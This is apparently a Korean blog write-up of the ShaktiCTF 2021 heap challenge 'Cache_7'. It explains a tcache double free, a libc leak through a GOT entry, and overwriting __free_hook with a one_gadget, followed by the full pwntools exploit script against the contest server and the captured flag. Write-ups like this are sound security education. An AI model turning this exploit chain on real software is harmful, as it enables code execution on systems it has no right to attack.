Sechack

ShaktiCTF 2021 - Cache_7 풀이 본문

CTF

ShaktiCTF 2021 - Cache_7 풀이

Sechack 2021. 4. 4. 17:27
반응형

처음으로 풀어본 CTF힙문제이다.  고득점 문제여서 풀고나서 매우 뿌듯했다. 

 

 

프로그램은 매우 간단했다. 원하는 사이즈로 청크를 할당받을 수 있고 해제할 수 있다. 

 

 

add함수는 전역변수에 우리가 입력한 사이즈만큼 malloc을 한다.

 

 

view함수는 전역변수에 들어있는 값을 출력해주고 있었다.

 

 

delete 함수는 전역변수를 free해준다,

 

 

PS: The challenge uses the good old Ubuntu 18.04 libc ;) 문제에서도 이렇게 힌트를 주면서 double free가 그냥 된다는것을 알려주고 있다. 실제로 double free에 대한 검증이 없는 libc였다.

 

 

근데 full relro가 걸려있었다. 역시 호락호락하게 풀리게 주진 않는다... got overwrite가 불가능하니 free hook이나 malloc hook을 덮어야하고 그러려면 libc leak이 필요하다. 처음에는 unsorted bin을 이용해서 leak하려고 했으나 top청크와 병합해버리는 바람에 leak이 안되었다... 

 

어차피 full relro니까 got에는 libc주소를 구하는 과정 없이 처음부터 함수 주소가 들어있게 된다. 따라서 double free를 이용해서 함수 got에 chunk를 할당하고 출력하면 함수 주소가 출력될것이다. 처음에는 exit got를 사용했지만 왠진 모르겠지만 로되리안이 나서 setvbuf got를 사용했다. 하지만 libc주소를 leak한 후에는 tcache bin이 엉망이 되어서 더이상 double free를 진행하지 못하게 된다. 따라서 처음 double free로 libc를 leak할때는 0x10크기로 청크를 할당하고 그다음 double free로 free hook을 one_gadget으로 덮을때는 100크기의 청크를 할당하면서 크기를 다르게 해서 해결했다. CTF서버가 외국에 있어서 그런지 한국에서 접속이 안되었다. 다른문제는 다 되는데 이문제만... 그래서 VPN키고 페이로드 제출했다.

 

from pwn import *

#context.log_level = 'debug'

r = remote("34.121.211.139", 4444)
#p = process(["./cache"], env={'LD_PRELOAD':'./libc-2.27.so'})
e = ELF("./cache")
libc = ELF("./libc-2.27.so")

setvbuf = e.got["setvbuf"]

def add(size, data):
    r.sendlineafter("choice :\n", "1")
    r.sendlineafter("enter the size\n", str(size))
    r.sendafter("Enter data\n", data)

def free():
    r.sendlineafter("choice :\n", "3")

add(0x10, b"Sechack")
free()
free()
add(0x10, p64(setvbuf))
add(0x10, b"a"*8)
add(0, "")

r.sendlineafter("choice :\n", "2")

r.recvuntil("inside\n")

leak = u64(r.recv(6)+b"\x00"*2)
libc_base = leak - libc.sym["exit"]
free_hook = libc_base + libc.sym["__free_hook"]
one_gadget = libc_base + 0x4f3c2

add(100, b"Sechack")
free()
free()
add(100, p64(free_hook))
add(100, b"a"*8)
add(100, p64(one_gadget))

free()

r.interactive()

 

전체 페이로드이다. 왜 exit got는 로컬에선 잘되는데 서버에서는 릭이 안되는지 모르겠다. 이것때문에 관리자님한테 문의도 해봤는데 그쪽에서는 잘된다고 하신다... 어쨌든 익스플로잇에 성공했다.

 

 

shaktictf{u_4re_a_trU3_c0mr4de} 

 

400점짜리 고득점 문제여서 풀자마자 팀 순위가 13등에서 5등으로 확 올랐다... GG...!!

 

(대회 중에 작성한 write up으로 대회가 끝날때까지 보호를 걸어놓았습니다.)

반응형
Comments